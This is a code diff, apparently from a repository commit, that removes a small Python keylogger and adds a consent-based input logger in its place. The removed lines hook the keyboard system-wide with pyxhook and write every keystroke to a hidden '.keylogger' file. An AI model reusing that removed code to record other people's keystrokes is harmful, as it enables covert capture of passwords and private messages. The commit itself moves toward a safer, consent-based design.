|
1 | | -# Author: OMKAR PATHAK |
| 1 | +# Safe Keyboard Input Logger (Educational Purpose Only) |
2 | 2 |
|
3 | | -# This file requires two modules to be installed: |
4 | | -# 1. pyxhook.py: file is provided in the folder itself |
5 | | -# 2. Xlib: sudo pip3 install python3-Xlib |
| 3 | +def main(): |
| 4 | + print("This program logs input WITH USER CONSENT.") |
| 5 | + print("Type 'exit' to stop.\n") |
6 | 6 |
|
7 | | -import pyxhook |
8 | | -import time |
| 7 | + with open("input_log.txt", "a") as file: |
| 8 | + while True: |
| 9 | + user_input = input("Enter text: ") |
9 | 10 |
|
10 | | -# functions to write a newline character into the file |
11 | | -def newline(): |
12 | | - file = open('.keylogger', 'a') |
13 | | - file.write('\n') |
14 | | - file.close() |
| 11 | + if user_input.lower() == "exit": |
| 12 | + print("Exiting logger.") |
| 13 | + break |
15 | 14 |
|
16 | | -# This function is called every time a key is pressed |
17 | | -def key_press_event(event): |
18 | | - global running |
19 | | - # write the key pressed into a file |
20 | | - if event.Key != 'space' and event.Key != 'Escape': |
21 | | - with open('.keylogger', 'a+') as File: |
22 | | - File.write(event.Key) |
| 15 | + file.write(user_input + "\n") |
23 | 16 |
|
24 | | - # If the ascii value matches spacebar, add a newline in the file |
25 | | - if event.Key == 'space': |
26 | | - newline() |
27 | 17 |
|
28 | | - # If the ascii value matches escape, terminate the while loop |
29 | | - if event.Key == 'Escape': |
30 | | - running = False |
31 | | - newline() |
32 | | - |
33 | | -if __name__ == '__main__': |
34 | | - # Create hookmanager |
35 | | - hookman = pyxhook.HookManager() |
36 | | - # Define our callback to fire when a key is pressed down |
37 | | - hookman.KeyDown = key_press_event |
38 | | - # Hook the keyboard |
39 | | - hookman.HookKeyboard() |
40 | | - # Start our listener |
41 | | - hookman.start() |
42 | | - |
43 | | - # Create a loop to keep the application running |
44 | | - running = True |
45 | | - while running: |
46 | | - time.sleep(0.1) |
47 | | - |
48 | | - # Close the listener when we are done |
49 | | - hookman.cancel() |
| 18 | +if __name__ == "__main__": |
| 19 | + main() |
0 commit comments